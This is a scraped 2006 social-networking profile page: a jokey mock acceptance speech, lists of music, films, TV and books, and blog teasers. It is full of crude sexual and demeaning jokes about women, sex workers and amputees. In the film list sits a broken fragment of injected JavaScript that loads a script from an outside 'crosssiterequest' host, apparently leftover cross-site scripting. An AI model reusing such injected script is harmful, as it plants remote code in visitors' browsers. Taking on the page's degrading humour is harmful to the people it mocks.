Zackare..French for yogurt.

About Me

Um wow. I really didnt expect this. I havent got anything prepared so i guess ill have to wing it..First of all id like to thank the big man, cause with out him none of this would be possible. So thanks Tom. I wanna thank the academy and everyone who voted. I want to thank my family for all there support and for toilet training me (better late than never huh mum?), teaching me to the importance of 'shutting the fuck up' and for showing me that being drunk is better than dealing with an issue. I also want to thank my friends. A big part of what i do is because of them. I want to say a special thanks to Shards for the air fives and spooning on those lonely nights, Leigh for all is help with dead hookers bodies (theres no I in team and i hope u dont forget that when you have to take the stand at my trial, cause i sure wont. If i go down your coming with me), i wanna thank Lal for the superman cup, All strippers for being strippers. hot, ugly, fat, skinny, tall, short, amputee, uncordinated, hairy..i love you all. keep on keeping on. I wanna thank alcohol for making girls lower their standards. And especially want to thank the few drunk girls that have slept with me. There'll always be a place in my heart/bed/closet for you. Last but not least I wanna thank the fans. I love you all and without you i couldnt do what i do... You two keep me going.Im getting the wind up so if theres anyone ive forgotten...Porn. I wanna thank porn. And cigarettes and coca cola...Anyways thankyou all again.I love you Seattle...So thats pretty much how my acceptance speech for any award would go. I dont think im gonna ever get an award for anything worth having a speech for, So i may whip that speech out at the next pie eating contest i enter.Anyway thats pretty much me.Questions? comments?
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My Interests

drawing and illustration, 3D and graphic design, drinking, 80's cartoons, movies, music, hangin out with friends, lots of shit, pretty much whatevers gonna keep me entertained.test

I'd like to meet:

Funny people, strippers, people that draw, watch cartoons, love movies, enjoy being drunk, enjoy casual sex (females only), weird people, pirates, monkeys that can type, any 70s porn stars, people who are not quite right, anyone who can have a laugh at themsleves, Dead hookers and midget amputees.If you match this criteria. talk to me.If you have MSN add me on [email protected]. ill be taking calls.the third add wins the new Pussy Cat dolls Single. Thats a lie. dont hold me to that.

Music:

I like lots of different stuff but mostly punk and hip hop....Stuff like Royce da 5'9", D12, Mos Def, Scribble, Fast Crew, Hilltop Hoods, Bliss n Esso, Eminem, Biggie, Onyx, 2pac, Ludacris, Busta Rhymes, Dead Prez, Ice Cube, West Coast Connection, Cypress Hill, Run Dmc, Luniz, Dru Down, Richie Rich, E40, Snoop, Korrupt, Nas, DMX, Method Man, Beastie Boys, Sublime, 311, Fenix TX, A New Found Glory, Incubus, Goldfinger, Lagwagon, Less than Jake, The Ataris, Boxcar Racer, Blink 182, Bodyjar, Millencolin, Nerf Herder, Reel Big Fish, Everlast, CKY, Jimmy Eat World, Mxpx, No use for a name, Pennywise, Rancid, NoFX...plus heaps more...

Movies:

All Kevin Smith flicks, All Quentin Tarintino flicks, Sin City, 40 year old virgin, American history X, Donnie Darko, Napolean Dynamite, Dodgeball, Anchor man, Old school, Shrek 1 +2, Freddy got Fingered, Boyz n the hood, Friday, Scary movie 1 and 2, Transformers the movie, Idle Hands, South park bigger longer and uncut, East of Eden, Kill Bill 1 + 2, Ninja Scroll, So much more.. ...... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}..

Television:

Family Guy, Scrubs, Futurama, Entourage,Simpsons, Sapranos, Harvey Birdman, any 80's cartoons, arrested develpoment and all bad TV so long as someones there to mock it with me.

Books:

comics, Chuck Palaniuk books, some Grisham, JRR Tolkien, Harry Potter books, James Clemens,

Heroes:

Jewbaleigh. For being as messed up in the head as me. Also Shards for Air fives, and rocking the wonder twins form of drunken assholes at Bang with me.....

My Blog

The late night Blog...But wait theres more.

Welcome back mother fuckers. So I havent had any work to do for a few days, I moved back to the country for a few months to save some cash and now Im going stir crazy. Im so fucking bored, so like a g...
Posted by Zackary on Tue, 19 Sep 2006 10:35:00 PST

Blog 2. The revenge.

Quiet on the set.. Lights. Camera. Action. Wow. Who'd of thunk that only one week after my first blog, I'd be back with a sequel... At the rate im churning out blogs in a month my blog is gonna end...
Posted by Zackary on Sat, 02 Sep 2006 08:03:00 PST

Much ado about hookers..

Well, here it is my first blog. I swore I'd never resort to this level of nerdness but, in all honesty, i dont think i was fooling anyone. If youve ever read any of my bulletins, your probably waiti...
Posted by Zackary on Mon, 28 Aug 2006 06:00:00 PST